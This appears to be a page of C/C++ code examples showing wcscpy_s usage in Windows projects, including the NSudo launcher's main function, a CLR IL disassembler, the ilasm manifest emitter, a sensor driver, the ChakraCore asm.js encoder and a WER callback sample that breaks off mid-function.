Пример #1
0
int wmain(int argc, _TCHAR* argv[])
{
	//******** NSudoInitialize Start ********
	NSudoReturnMessage(TextRes.NSudo_AboutText);
	
	if (argc == 1) bGUIMode = true;

	SetProcessDPIAware();

	GetModuleFileNameW(NULL, szAppPath, 260);
	wcsrchr(szAppPath, L'\\')[0] = NULL;

	wcscpy_s(szShortCutListPath, 260, szAppPath);
	wcscat_s(szShortCutListPath, 260, L"\\ShortCutList.ini");

	if (!SetCurrentProcessPrivilege(SE_DEBUG_NAME, true))
	{
		if (bGUIMode)
		{
			wchar_t szExePath[260];

			GetModuleFileNameW(NULL, szExePath, 260);
			
			ShellExecuteW(NULL, L"runas", szExePath, NULL, NULL, SW_SHOW);
			return 0;

		}
		else
		{
			NSudoReturnMessage(TextRes.NSudo_Error_Text1);
			return -1;
		}
	}

	//******** NSudoInitialize End ********
	
	if (bGUIMode)
	{
		FreeConsole();

		DialogBoxParamW(GetModuleHandleW(NULL), MAKEINTRESOURCEW(IDD_NSudoDlg), NULL, NSudoDlgCallBack, 0L);
	}
	else
	{
		bool bUserArgEnable = true;
		bool bPrivilegeArgEnable = true;
		bool bIntegrityArgEnable = true;
		bool bCMDLineArgEnable = true;

		wchar_t *szBuffer = NULL;

		HANDLE hUserToken = INVALID_HANDLE_VALUE;

		for (int i = 1; i < argc; i++)
		{
			if (_wcsicmp(argv[i], L"-?") == 0)
			{
				NSudoReturnMessage(TextRes.NSudoC_HelpText);
				return 0;
			}
			else if (bUserArgEnable && _wcsicmp(argv[i], L"-U:T") == 0)
			{
				NSudoGetTrustedInstallerToken(&hUserToken);
				bUserArgEnable = false;
			}
			else if (bUserArgEnable && _wcsicmp(argv[i], L"-U:S") == 0)
			{
				NSudoGetSystemToken(&hUserToken);
				bUserArgEnable = false;
			}
			else if (bUserArgEnable && _wcsicmp(argv[i], L"-U:C") == 0)
			{
				NSudoGetCurrentUserToken(&hUserToken);
				bUserArgEnable = false;
			}
			else if (bUserArgEnable && _wcsicmp(argv[i], L"-U:P") == 0)
			{
				NSudoGetCurrentProcessToken(&hUserToken);
				bUserArgEnable = false;
			}
			else if (bUserArgEnable && _wcsicmp(argv[i], L"-U:D") == 0)
			{
				NSudoCreateLUAToken(&hUserToken);
				bUserArgEnable = false;
			}
			else if (bPrivilegeArgEnable && _wcsicmp(argv[i], L"-P:E") == 0)
			{
				NSudoAdjustAllTokenPrivileges(hUserToken, true);
				bPrivilegeArgEnable = false;
			}
			else if (bPrivilegeArgEnable && _wcsicmp(argv[i], L"-P:D") == 0)
			{
				NSudoAdjustAllTokenPrivileges(hUserToken, false);
				bPrivilegeArgEnable = false;
			}
			else if (bIntegrityArgEnable && _wcsicmp(argv[i], L"-M:S") == 0)
			{
				SetTokenIntegrity(hUserToken, L"S-1-16-16384");
				bIntegrityArgEnable = false;
			}
			else if (bIntegrityArgEnable && _wcsicmp(argv[i], L"-M:H") == 0)
			{
				SetTokenIntegrity(hUserToken, L"S-1-16-12288");
				bIntegrityArgEnable = false;
			}
			else if (bIntegrityArgEnable && _wcsicmp(argv[i], L"-M:M") == 0)
			{
				SetTokenIntegrity(hUserToken, L"S-1-16-8192");
				bIntegrityArgEnable = false;
			}
			else if (bIntegrityArgEnable && _wcsicmp(argv[i], L"-M:L") == 0)
			{
				SetTokenIntegrity(hUserToken, L"S-1-16-4096");
				bIntegrityArgEnable = false;
			}
			else if (bCMDLineArgEnable)
			{
				wchar_t szPath[260];

				DWORD dwLength = GetPrivateProfileStringW(argv[i], L"CommandLine", L"", szPath, 260, szShortCutListPath);

				wcscmp(szPath, L"") != 0 ? szBuffer = szPath : szBuffer = argv[i];

				if (szBuffer) bCMDLineArgEnable = false;
			}

		}

		if (bUserArgEnable || bCMDLineArgEnable)
		{
			NSudoReturnMessage(TextRes.NSudo_Error_Text4);
			return -1;
		}
		else
		{
			if (NSudoImpersonateSystemToken())
			{
				if (!NSudoCreateProcess(hUserToken, szBuffer))
				{
					NSudoReturnMessage(TextRes.NSudo_Error_Text3);
				}

				RevertToSelf();
			}
		}

		CloseHandle(hUserToken);
	}

	return 0;
}
Пример #2
0
void DecodeIL(IMetaDataImport *pImport, BYTE *buffer, ULONG bufSize)
{
    // First decode the header
    COR_ILMETHOD *pHeader = (COR_ILMETHOD *) buffer;    
    COR_ILMETHOD_DECODER header(pHeader);    

    // Set globals
    position = 0;	
    pBuffer = (BYTE *) header.Code;

    UINT indentCount = 0;
    ULONG endCodePosition = header.GetCodeSize();
    while(position < endCodePosition)
    {	
        for (unsigned e=0;e<header.EHCount();e++)
        {
            IMAGE_COR_ILMETHOD_SECT_EH_CLAUSE_FAT ehBuff;
            const IMAGE_COR_ILMETHOD_SECT_EH_CLAUSE_FAT* ehInfo;
            
            ehInfo = header.EH->EHClause(e,&ehBuff);
            if (ehInfo->TryOffset == position)
            {
                printf ("%*s.try\n%*s{\n", indentCount, "", indentCount, "");
                indentCount+=2;
            }
            else if ((ehInfo->TryOffset + ehInfo->TryLength) == position)
            {
                indentCount-=2;
                printf("%*s} // end .try\n", indentCount, "");
            }

            if (ehInfo->HandlerOffset == position)
            {
                if (ehInfo->Flags == COR_ILEXCEPTION_CLAUSE_FINALLY)
                    printf("%*s.finally\n%*s{\n", indentCount, "", indentCount, "");
                else
                    printf("%*s.catch\n%*s{\n", indentCount, "", indentCount, "");

                indentCount+=2;
            }
            else if ((ehInfo->HandlerOffset + ehInfo->HandlerLength) == position)
            {
                indentCount-=2;
                
                if (ehInfo->Flags == COR_ILEXCEPTION_CLAUSE_FINALLY)
                    printf("%*s} // end .finally\n", indentCount, "");
                else
                    printf("%*s} // end .catch\n", indentCount, "");
            }
        }        
        
        printf("%*sIL_%04x: ", indentCount, "", position);
        unsigned int c = readOpcode();
        OpCode opcode = opcodes[c];
        printf("%s ", opcode.name);

        switch(opcode.args)
        {
        case InlineNone: break;
        
        case ShortInlineVar:
            printf("VAR OR ARG %d",readData<BYTE>()); break;
        case InlineVar:
            printf("VAR OR ARG %d",readData<unsigned short>()); break;
        case InlineI:
            printf("%d",readData<long>()); 
            break;
        case InlineR:
            printf("%f",readData<double>());
            break;
        case InlineBrTarget:
            printf("IL_%04x",readData<long>() + position); break;
        case ShortInlineBrTarget:
            printf("IL_%04x",readData<BYTE>()  + position); break;
        case InlineI8:
            printf("%ld", readData<__int64>()); break;
            
        case InlineMethod:
        case InlineField:
        case InlineType:
        case InlineTok:
        case InlineSig:        
        {
            long l = readData<long>();
            if (pImport != NULL)
            {
                DisassembleToken(pImport, l);
            }
            else
            {
                printf("TOKEN %x", l); 
            }
            break;
        }
            
        case InlineString:
        {
            long l = readData<long>();

            ULONG numChars;
            WCHAR str[84];

            if ((pImport != NULL) && (pImport->GetUserString((mdString) l, str, 80, &numChars) == S_OK))
            {
                if (numChars < 80)
                    str[numChars] = 0;
                wcscpy_s(&str[79], 4, W("..."));
                WCHAR* ptr = str;
                while(*ptr != 0) {
                    if (*ptr < 0x20 || * ptr >= 0x80) {
                        *ptr = '.';
                    }
                    ptr++;
                }

                printf("\"%S\"", str);
            }
            else
            {
                printf("STRING %x", l); 
            }
            break;
        }
            
        case InlineSwitch:
        {
            long cases = readData<long>();
            long *pArray = new long[cases];            
            long i=0;
            for(i=0;i<cases;i++)
            {
                pArray[i] = readData<long>();
            }
            printf("(");
            for(i=0;i<cases;i++)
            {
                if (i != 0)
                    printf(", ");
                printf("IL_%04x",pArray[i] + position);
            }
            printf(")");
            delete [] pArray;
            break;
        }
        case ShortInlineI:
            printf("%d", readData<char>()); break;
        case ShortInlineR:		
            printf("%f", readData<float>()); break;
        default: printf("Error, unexpected opcode type\n"); break;
        }

        printf("\n");
    }
}
Пример #3
0
void CDVSMainPPage::UpdateControlData(bool fSave)
{
    if (fSave) {
        CString fn;
        m_fnedit.GetWindowText(fn);
        wcscpy_s(m_fn, fn);

        m_iSelectedLanguage = m_langs.GetCurSel();
        m_fOverridePlacement = !!m_oplacement.GetCheck();
        m_PlacementXperc = m_subposx.GetPos32();
        m_PlacementYperc = m_subposy.GetPos32();
        m_fOnlyShowForcedVobSubs = !!m_forcedsubs.GetCheck();
        if (m_PARCombo.GetCurSel() != CB_ERR) {
            m_ePARCompensationType = static_cast<CSimpleTextSubtitle::EPARCompensationType>(m_PARCombo.GetItemData(m_PARCombo.GetCurSel()));
        } else {
            m_ePARCompensationType = CSimpleTextSubtitle::EPCTDisabled;
        }
    } else {
        m_fnedit.SetWindowText(CString(m_fn));
        m_oplacement.SetCheck(m_fOverridePlacement);
        m_subposx.SetRange32(-20, 120);
        m_subposx.SetPos32(m_PlacementXperc);
        m_subposx.EnableWindow(m_fOverridePlacement);
        m_subposy.SetRange32(-20, 120);
        m_subposy.SetPos32(m_PlacementYperc);
        m_subposy.EnableWindow(m_fOverridePlacement);
        m_font.SetWindowText(m_defStyle.fontName);
        m_forcedsubs.SetCheck(m_fOnlyShowForcedVobSubs);
        m_langs.ResetContent();
        m_langs.EnableWindow(m_nLangs > 0);
        for (ptrdiff_t i = 0; i < m_nLangs; i++) {
            m_langs.AddString(CString(m_ppLangs[i]));
        }
        CorrectComboListWidth(m_langs);
        m_langs.SetCurSel(m_iSelectedLanguage);

        m_PARCombo.ResetContent();
        m_PARCombo.InsertString(0, ResStr(IDS_RT_PAR_DISABLED));
        m_PARCombo.SetItemData(0, CSimpleTextSubtitle::EPCTDisabled);
        if (m_ePARCompensationType == CSimpleTextSubtitle::EPCTDisabled) {
            m_PARCombo.SetCurSel(0);
        }

        m_PARCombo.InsertString(1, ResStr(IDS_RT_PAR_DOWNSCALE));
        m_PARCombo.SetItemData(1, CSimpleTextSubtitle::EPCTDownscale);
        if (m_ePARCompensationType == CSimpleTextSubtitle::EPCTDownscale) {
            m_PARCombo.SetCurSel(1);
        }

        m_PARCombo.InsertString(2, ResStr(IDS_RT_PAR_UPSCALE));
        m_PARCombo.SetItemData(2, CSimpleTextSubtitle::EPCTUpscale);
        if (m_ePARCompensationType == CSimpleTextSubtitle::EPCTUpscale) {
            m_PARCombo.SetCurSel(2);
        }

        m_PARCombo.InsertString(3, ResStr(IDS_RT_PAR_ACCURATE_SIZE));
        m_PARCombo.SetItemData(3, CSimpleTextSubtitle::EPCTAccurateSize);
        if (m_ePARCompensationType == CSimpleTextSubtitle::EPCTAccurateSize) {
            m_PARCombo.SetCurSel(3);
        }
    }
}
LRESULT CALLBACK ListViewSubProc( HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam )
{
	switch( msg )
	{
		// This will essentially reconstruct the string that the open file dialog box creates when selecting multiple files.
		case WM_DROPFILES:
		{
			int count = DragQueryFile( ( HDROP )wParam, -1, NULL, 0 );

			pathinfo *pi = ( pathinfo * )malloc( sizeof( pathinfo ) );
			pi->type = 0;
			pi->filepath = NULL;
			pi->offset = 0;
			pi->output_path = NULL;
			cmd_line = 0;

			int file_offset = 0;	// Keeps track of the last file in filepath.

			// Go through the list of paths.
			for ( int i = 0; i < count; i++ )
			{
				// Get the length of the file path.
				int file_path_length = DragQueryFile( ( HDROP )wParam, i, NULL, 0 );

				// Get the file path.
				wchar_t *fpath = ( wchar_t * )malloc( sizeof( wchar_t ) * ( file_path_length + 1 ) );
				DragQueryFile( ( HDROP )wParam, i, fpath, file_path_length + 1 );

				// Skip any folders that were dropped.
				if ( ( GetFileAttributes( fpath ) & FILE_ATTRIBUTE_DIRECTORY ) != 0 )
				{
					free( fpath );
					continue;
				}

				// Copy the root directory into filepath.
				if ( pi->filepath == NULL )
				{
					pi->filepath = ( wchar_t * )malloc( sizeof( wchar_t ) * ( ( MAX_PATH * count ) + 1 ) );
					pi->offset = file_path_length;
					// Find the last occurance of "\" in the string.
					while ( pi->offset != 0 && fpath[ --pi->offset ] != L'\\' );

					// Save the root directory name.
					wcsncpy_s( pi->filepath, pi->offset + 1, fpath, pi->offset );

					file_offset = ( ++pi->offset );
				}

				// Copy the file name. Each is separated by the NULL character.
				wcscpy_s( pi->filepath + file_offset, file_path_length - pi->offset + 1, fpath + pi->offset );
				file_offset += ( file_path_length - pi->offset + 1 );

				free( fpath );
			}

			DragFinish( ( HDROP )wParam );

			if ( pi->filepath != NULL )
			{
				// Terminate the last concatenated string.
				wmemset( pi->filepath + file_offset, L'\0', 1 );

				// filepath will be freed in the thread.
				CloseHandle( ( HANDLE )_beginthreadex( NULL, 0, &read_thumbcache, ( void * )pi, 0, NULL ) );
			}
			else	// No files were dropped.
			{
				free( pi );
			}

			return 0;
		}
		break;
	}

	// Everything that we don't handle gets passed back to the parent to process.
	return CallWindowProc( ListViewProc, hWnd, msg, wParam, lParam );
}
Пример #5
0
/////////////////////////////////////////////////////////////////////////
//
// CMyDevice::OnPrepareHardware
//
//  Called by UMDF to prepare the hardware for use. In our case
//  we create the SensorDDI object and initialize the Sensor Class Extension
//
// Parameters:
//      pWdfDevice - pointer to an IWDFDevice object representing the
//      device
//
// Return Values:
//      S_OK: success
//
/////////////////////////////////////////////////////////////////////////
HRESULT CMyDevice::OnPrepareHardware(
        _In_ IWDFDevice* pWdfDevice
        )
{
    Trace(TRACE_LEVEL_INFORMATION, "%!FUNC! Entry");

    HRESULT hr = (NULL != pWdfDevice) ? S_OK : E_UNEXPECTED;


    if (SUCCEEDED(hr))
    {
        hr = EnterProcessing(PROCESSING_IPNPCALLBACKHARDWARE);

        if (SUCCEEDED(hr))
        {
            if( NULL != pWdfDevice )
            {
                // Store the IWDFDevice pointer
                m_spWdfDevice = pWdfDevice;
            }

            // Create & Configure the default IO Queue
            if(SUCCEEDED(hr))
            {
                hr = ConfigureQueue();
            }

            // Create the sensor manager object
            if(SUCCEEDED(hr))
            {
                hr = CComObject<CSensorManager>::CreateInstance(&m_pSensorManager);

                if (SUCCEEDED(hr) && (nullptr != m_pSensorManager))
                {
                    m_pSensorManager->AddRef();

                    // Initialize the sensor manager object
                    if(SUCCEEDED(hr))
                    {
                        hr = m_pSensorManager->Initialize(m_spWdfDevice, this);
                    }

                    if (SUCCEEDED(hr))
                    {
                        hr = StringCchCopy(m_pSensorManager->m_wszDeviceName, MAX_PATH, DEFAULT_DEVICE_MODEL_VALUE);
    
                        if (SUCCEEDED(hr))
                        {
                            ULONG ulCchInstanceId = 0;
                            BOOL  fResult = FALSE;
                            WCHAR* wszInstanceId = nullptr;
                            WCHAR* tempStr = nullptr;

                            try 
                            {
                                wszInstanceId = new WCHAR[MAX_PATH];
                            }
                            catch(...)
                            {
                                hr = E_UNEXPECTED;
                                Trace(TRACE_LEVEL_ERROR, "Failed to allocate memory for instance ID string, hr = %!HRESULT!", hr);

                                if (nullptr != wszInstanceId) 
                                {
                                    delete[] wszInstanceId;
                                }
                            }

                            try 
                            {
                                tempStr = new WCHAR[MAX_PATH];
                            }
                            catch(...)
                            {
                                hr = E_UNEXPECTED;
                                Trace(TRACE_LEVEL_ERROR, "Failed to allocate memory for instance ID temp string, hr = %!HRESULT!", hr);

                                if (nullptr != tempStr) 
                                {
                                    delete[] tempStr;
                                }
                            }

                            if (SUCCEEDED(hr) && SUCCEEDED(pWdfDevice->RetrieveDeviceInstanceId(NULL, &ulCchInstanceId)))
                            {
                                if (SUCCEEDED(pWdfDevice->RetrieveDeviceInstanceId(wszInstanceId, &ulCchInstanceId)))
                                {
                                    HDEVINFO hDeviceInfo = INVALID_HANDLE_VALUE;
                                    if (INVALID_HANDLE_VALUE != (hDeviceInfo = ::SetupDiCreateDeviceInfoList(NULL, NULL)))
                                    {
                                        SP_DEVINFO_DATA deviceInfo = {sizeof(SP_DEVINFO_DATA)};
                                        if (TRUE == ::SetupDiOpenDeviceInfo(hDeviceInfo, wszInstanceId, NULL, 0, &deviceInfo))
                                        {
                                            DEVPROPTYPE propType;
                                            ULONG ulSize;
                
                                            fResult = ::SetupDiGetDeviceProperty(hDeviceInfo, &deviceInfo, &DEVPKEY_Device_DeviceDesc, &propType, (PBYTE)tempStr, MAX_PATH*sizeof(WCHAR), &ulSize, 0);
                                            if (FALSE == fResult)
                                            {
                                                hr = HRESULT_FROM_WIN32(GetLastError());
                                            }

                                            if (SUCCEEDED(hr) && (wcscmp(tempStr, L"") != 0))
                                            {
                                                wcscpy_s(m_pSensorManager->m_wszDeviceName, MAX_PATH, tempStr);
                                            }

                                            DWORD dwRequiredSize;
                                            fResult = ::SetupDiGetDeviceInstanceId(hDeviceInfo, &deviceInfo, wszInstanceId, MAX_PATH, &dwRequiredSize);
                                            if (FALSE == fResult)
                                            {
                                                hr = HRESULT_FROM_WIN32(GetLastError());
                                            }

                                            if (SUCCEEDED(hr))
                                            {
                                                hr = m_pSensorManager->StringTrim(wszInstanceId);
                                            }

                                            if (SUCCEEDED(hr))
                                            {
                                                wcscpy_s(m_pSensorManager->m_wszDeviceId, MAX_PATH, wszInstanceId);
                                                hr = m_pSensorManager->Start();

                                                if (FAILED(hr))
                                                {
                                                    Trace(TRACE_LEVEL_CRITICAL, "Failed to initialize sensors, hr = %!HRESULT!", hr);
                                                }
                                            }
                                        }
                
                                        fResult = ::SetupDiDestroyDeviceInfoList(hDeviceInfo);
                                        if (FALSE == fResult)
                                        {
                                            hr = HRESULT_FROM_WIN32(GetLastError());
                                        }
                                    }
                                }

                            }

#pragma warning(suppress: 6001) //using unitialized memory
                            if (nullptr != wszInstanceId) 
                            {
                                delete[] wszInstanceId;
                            }

#pragma warning(suppress: 6001) //using unitialized memory
                            if (nullptr != tempStr) 
                            {
                                delete[] tempStr;
                            }
                        }
                    }
                }
            }

        } // processing in progress

        ExitProcessing(PROCESSING_IPNPCALLBACKHARDWARE);
    }

    if (FAILED(hr))
    {
        Trace(TRACE_LEVEL_CRITICAL, "Abnormal results during hardware initialization, hr = %!HRESULT!", hr);
    }

    Trace(TRACE_LEVEL_INFORMATION, "%!FUNC! Exit, hr = %!HRESULT!", hr);

    return hr;
}
Пример #6
0
HRESULT AsmMan::EmitManifest()
{
    //AsmManAssembly*           pAsmRef;
    AsmManComType*          pComType;
    AsmManRes*              pManRes;
    HRESULT                 hr = S_OK;

    wzUniBuf[0] = 0;

    if(m_pAsmEmitter==NULL)
        hr=m_pEmitter->QueryInterface(IID_IMetaDataAssemblyEmit, (void**) &m_pAsmEmitter);

    if(SUCCEEDED(hr))
    {
        EmitFiles();
        EmitAssembly();
        
        if((((Assembler*)m_pAssembler)->m_dwIncludeDebugInfo != 0) && (m_pAssembly == NULL) 
           && !(((Assembler*)m_pAssembler)->m_fENCMode))
        {
            mdToken tkOwner, tkMscorlib;
            tkMscorlib = ((Assembler*)m_pAssembler)->GetAsmRef("mscorlib");
            tkOwner = ((Assembler*)m_pAssembler)->ResolveClassRef(tkMscorlib,
                                                                  "System.Runtime.CompilerServices.AssemblyAttributesGoHere",
                                                                  NULL);
            EmitDebuggableAttribute(tkOwner);
        }

        // Emit all com types
        unsigned i;
        for(i = 0; (pComType = m_ComTypeLst.PEEK(i)); i++)
        {
            if(!pComType->m_fNew) continue;
            pComType->m_fNew = FALSE;

            WszMultiByteToWideChar(g_uCodePage,0,pComType->szName,-1,wzUniBuf,dwUniBuf);
            mdToken     tkImplementation = mdTokenNil;
            if(pComType->tkImpl) tkImplementation = pComType->tkImpl;
            else if(pComType->szFileName)
            {
                tkImplementation = GetFileTokByName(pComType->szFileName);
                if(tkImplementation==mdFileNil)
                {
                    report->error("Undefined File '%s' in ExportedType '%s'\n",pComType->szFileName,pComType->szName);
                    if(!((Assembler*)m_pAssembler)->OnErrGo) continue;
                }
            }
            else if(pComType->szAsmRefName)
            {
                tkImplementation = GetAsmRefTokByName(pComType->szAsmRefName);
                if(RidFromToken(tkImplementation)==0)
                {
                    report->error("Undefined AssemblyRef '%s' in ExportedType '%s'\n",pComType->szAsmRefName,pComType->szName);
                    if(!((Assembler*)m_pAssembler)->OnErrGo) continue;
                }
            }
            else if(pComType->szComTypeName)
            {
                tkImplementation = GetComTypeTokByName(pComType->szComTypeName);
                if(tkImplementation==mdExportedTypeNil)
                {
                    report->error("Undefined ExportedType '%s' in ExportedType '%s'\n",pComType->szComTypeName,pComType->szName);
                    if(!((Assembler*)m_pAssembler)->OnErrGo) continue;
                }
            }
            else 
            {
                report->warn("Undefined implementation in ExportedType '%s' -- ExportType not emitted\n",pComType->szName);
                if(!((Assembler*)m_pAssembler)->OnErrGo) continue;
            }
            hr = m_pAsmEmitter->DefineExportedType(         // S_OK or error.
                    (LPCWSTR)wzUniBuf,                      // [IN] Name of the Com Type.
                    tkImplementation,                       // [IN] mdFile or mdAssemblyRef that provides the ComType.
                    (mdTypeDef)pComType->tkClass,           // [IN] TypeDef token within the file.
                    pComType->dwAttr,                       // [IN] Flags.
                    (mdExportedType*)&(pComType->tkTok));   // [OUT] Returned ComType token.
            if(FAILED(hr)) report->error("Failed to define ExportedType '%s': 0x%08X\n",pComType->szName,hr);
            else
            {
                ((Assembler*)m_pAssembler)->EmitCustomAttributes(pComType->tkTok, &(pComType->m_CustomDescrList));
            }
        }

        // Emit all manifest resources
        m_dwMResSizeTotal = 0;
        m_dwMResNum = 0;
        for(i = 0; (pManRes = m_ManResLst.PEEK(i)); i++)
        {
            BOOL fOK = TRUE;
            mdToken     tkImplementation = mdFileNil;

            if(!pManRes->m_fNew) continue;
            pManRes->m_fNew = FALSE;

            WszMultiByteToWideChar(g_uCodePage,0,pManRes->szAlias,-1,wzUniBuf,dwUniBuf);
            if(pManRes->szAsmRefName)
            {
                tkImplementation = GetAsmRefTokByName(pManRes->szAsmRefName);
                if(RidFromToken(tkImplementation)==0)
                {
                    report->error("Undefined AssemblyRef '%s' in MResource '%s'\n",pManRes->szAsmRefName,pManRes->szName);
                    fOK = FALSE;
                }
            }
            else if(pManRes->szFileName)
            {
                tkImplementation = GetFileTokByName(pManRes->szFileName);
                if(RidFromToken(tkImplementation)==0)
                {
                    report->error("Undefined File '%s' in MResource '%s'\n",pManRes->szFileName,pManRes->szName);
                    fOK = FALSE;
                }
            }
            else // embedded mgd.resource, go after the file
            {
                HANDLE hFile = INVALID_HANDLE_VALUE;
                int j;
                WCHAR   wzFileName[2048];
                WCHAR*  pwz;

                pManRes->ulOffset = m_dwMResSizeTotal;
                for(j=0; (hFile == INVALID_HANDLE_VALUE)&&(pwzInputFiles[j] != NULL); j++)
                {
                    wcscpy_s(wzFileName,2048,pwzInputFiles[j]);
                    pwz = wcsrchr(wzFileName,'\\');
                    if(pwz == NULL) pwz = wcsrchr(wzFileName,':');
                    if(pwz == NULL) pwz = &wzFileName[0];
                    else pwz++;
                    wcscpy_s(pwz,2048-(pwz-wzFileName),wzUniBuf);
                    hFile = WszCreateFile(wzFileName, GENERIC_READ, FILE_SHARE_READ,
                             0, OPEN_EXISTING, 0, 0);
                }
                if (hFile == INVALID_HANDLE_VALUE)
                {
                    report->error("Failed to open managed resource file '%s'\n",pManRes->szAlias);
                    fOK = FALSE;
                }
                else
                {
                    m_dwMResSize[m_dwMResNum] = SafeGetFileSize(hFile,NULL);
                    if(m_dwMResSize[m_dwMResNum] == 0xFFFFFFFF)
                    {
                        report->error("Failed to get size of managed resource file '%s'\n",pManRes->szAlias);
                        fOK = FALSE;
                    }
                    else 
                    {
                        m_dwMResSizeTotal += m_dwMResSize[m_dwMResNum]+sizeof(DWORD);
                        m_wzMResName[m_dwMResNum] = new WCHAR[wcslen(wzFileName)+1];
                        wcscpy_s(m_wzMResName[m_dwMResNum],wcslen(wzFileName)+1,wzFileName);
                        m_fMResNew[m_dwMResNum] = TRUE;
                        m_dwMResNum++;
                    }
                    CloseHandle(hFile);
                }
            }
            if(fOK || ((Assembler*)m_pAssembler)->OnErrGo)
            {
                WszMultiByteToWideChar(g_uCodePage,0,pManRes->szName,-1,wzUniBuf,dwUniBuf);
                hr = m_pAsmEmitter->DefineManifestResource(         // S_OK or error.
                        (LPCWSTR)wzUniBuf,                          // [IN] Name of the resource.
                        tkImplementation,                           // [IN] mdFile or mdAssemblyRef that provides the resource.
                        pManRes->ulOffset,                          // [IN] Offset to the beginning of the resource within the file.
                        pManRes->dwAttr,                            // [IN] Flags.
                        (mdManifestResource*)&(pManRes->tkTok));    // [OUT] Returned ManifestResource token.
                if(FAILED(hr))
                    report->error("Failed to define manifest resource '%s': 0x%08X\n",pManRes->szName,hr);
            }
        }


        m_pAsmEmitter->Release();
        m_pAsmEmitter = NULL;
    }
    else 
        report->error("Failed to obtain IMetaDataAssemblyEmit interface: 0x%08X\n",hr);
    return hr;
}
Пример #7
0
    void* AsmJsEncoder::Encode( FunctionBody* functionBody )
    {
        Assert( functionBody );
        mFunctionBody = functionBody;
#if DBG_DUMP
        AsmJsJitTemplate::Globals::CurrentEncodingFunction = mFunctionBody;
#endif
        AsmJsFunctionInfo* asmInfo = functionBody->GetAsmJsFunctionInfo();
        FunctionEntryPointInfo* entryPointInfo = ((FunctionEntryPointInfo*)(functionBody->GetDefaultEntryPointInfo()));
        // number of var on the stack + ebp + eip
        mIntOffset = asmInfo->GetIntByteOffset() + GetOffset<Var>();
        mDoubleOffset = asmInfo->GetDoubleByteOffset() + GetOffset<Var>();
        mFloatOffset = asmInfo->GetFloatByteOffset() + GetOffset<Var>();
        mSimdOffset = asmInfo->GetSimdByteOffset() + GetOffset<Var>();

        NoRecoverMemoryArenaAllocator localAlloc(_u("BE-AsmJsEncoder"), GetPageAllocator(), Js::Throw::OutOfMemory);
        mLocalAlloc = &localAlloc;

        mRelocLabelMap = Anew( mLocalAlloc, RelocLabelMap, mLocalAlloc );
        mTemplateData = AsmJsJitTemplate::InitTemplateData();
        mEncodeBufferSize = GetEncodeBufferSize(functionBody);
        mEncodeBuffer = AnewArray((&localAlloc), BYTE, mEncodeBufferSize);
        mPc = mEncodeBuffer;
        mReader.Create( functionBody );
        ip = mReader.GetIP();

#ifdef ENABLE_DEBUG_CONFIG_OPTIONS
        if( PHASE_TRACE( Js::AsmjsEncoderPhase, mFunctionBody ) )
        {
            Output::Print( _u("\n\n") );
            functionBody->DumpFullFunctionName();
            Output::Print( _u("\n StackSize = %d , Offsets: Var = %d, Int = %d, Double = %d\n"), mFunctionBody->GetAsmJsFunctionInfo()->GetTotalSizeinBytes(), GetOffset<Var>(), GetOffset<int>(), GetOffset<double>() );
        }
#endif

        AsmJsJitTemplate::FunctionEntry::ApplyTemplate( this, mPc );
        while( ReadOp() ){}
        AsmJsJitTemplate::FunctionExit::ApplyTemplate( this, mPc );

        AsmJsJitTemplate::FreeTemplateData( mTemplateData );
#if DBG_DUMP
        AsmJsJitTemplate::Globals::CurrentEncodingFunction = nullptr;
#endif
        ApplyRelocs();

        ptrdiff_t codeSize = mPc - mEncodeBuffer;
        if( codeSize > 0 )
        {
            Assert( ::Math::FitsInDWord( codeSize ) );

            BYTE *buffer;
            EmitBufferAllocation *allocation = GetCodeGenAllocator()->emitBufferManager.AllocateBuffer( codeSize, &buffer, 0, 0 );
            functionBody->GetAsmJsFunctionInfo()->mTJBeginAddress = buffer;

            if (buffer == nullptr)
            {
                Js::Throw::OutOfMemory();
            }

            if (!GetCodeGenAllocator()->emitBufferManager.CommitBuffer(allocation, buffer, codeSize, mEncodeBuffer))
            {
                Js::Throw::OutOfMemory();
            }

            functionBody->GetScriptContext()->GetThreadContext()->SetValidCallTargetForCFG(buffer);

            // TODO: improve this once EntryPoint cleanup work is complete!
#if 0
            const char16 *const functionName = functionBody->GetDisplayName();
            const char16 *const suffix = _u("TJ");
            char16 functionNameArray[256];
            const size_t functionNameCharLength = functionBody->GetDisplayNameLength();
            wcscpy_s(functionNameArray, 256, functionName);
            wcscpy_s(&functionNameArray[functionNameCharLength], 256 - functionNameCharLength, suffix);
#endif
            JS_ETW(EventWriteMethodLoad(functionBody->GetScriptContext(),
                (void *)buffer,
                codeSize,
                EtwTrace::GetFunctionId(functionBody),
                0 /* methodFlags - for future use*/,
                MethodType_Jit,
                EtwTrace::GetSourceId(functionBody),
                functionBody->GetLineNumber(),
                functionBody->GetColumnNumber(),
                functionBody->GetDisplayName()));
            entryPointInfo->SetTJCodeGenDone(); // set the codegen to done state for TJ
            entryPointInfo->SetCodeSize(codeSize);
            return buffer;
        }
        return nullptr;
    }
Пример #8
0
HRESULT WINAPI
OutOfProcessExceptionEventCallback (
  /* __in    */ PVOID pContext,
  /* __in    */ const PWER_RUNTIME_EXCEPTION_INFORMATION pExceptionInformation,
  /* __out   */ BOOL *pbOwnershipClaimed,
  /* __out   */ PWSTR pwszEventName,
  /* __inout */ PDWORD pchSize,
  /* __out   */ PDWORD pdwSignatureCount
)

/*++

Routine Description:

    WER calls this function to determine whether the exception handler is claiming the crash.

    We will check if this is an exception we should handle (0xABCD1234).

    The PFN_WER_RUNTIME_EXCEPTION_EVENT type defines a pointer to this callback function.

    This function will be exported out of this DLL, as specified by HandlerDll.def.

Arguments:

    pContext - An arbitrary pointer-sized value that was passed in to WerRegisterRuntimeExceptionModule.

    pExceptionInformation - A WER_RUNTIME_EXCEPTION_INFORMATION structure that contains the exception
        information. Use the information to determine whether you want to claim the crash.

    pbOwnershipClaimed - Set to TRUE if you are claiming the crash; otherwise, FALSE. If you return FALSE,
        do not set the rest of the out parameters.

    pwszEventName - A caller-allocated buffer that you use to specify the event name used to identify this
        crash.

    pchSize - A pointer to a DWORD specifying the size, in characters, of the pwszEventName buffer. The size
        includes the null-terminating character.

    pdwSignatureCount - The number of report parameters that you will provide. The valid range of values is
        one to 10. If you specify a value greater than 10, WER will ignore the value and collect only the
        first 10 parameters. If you specify zero, the reporting process will be indeterminate.

        This value determines the number of times that WER calls your OutOfProcessExceptionEventSignature-
        Callback function.

Return Value:

    HRESULT.

--*/

{
    PCWSTR EventName = L"MySampleEventName";
    DWORD EventNameLength;


    UNREFERENCED_PARAMETER (pContext);


    //
    // Bail out if it is not an exception we want to handle.
    //
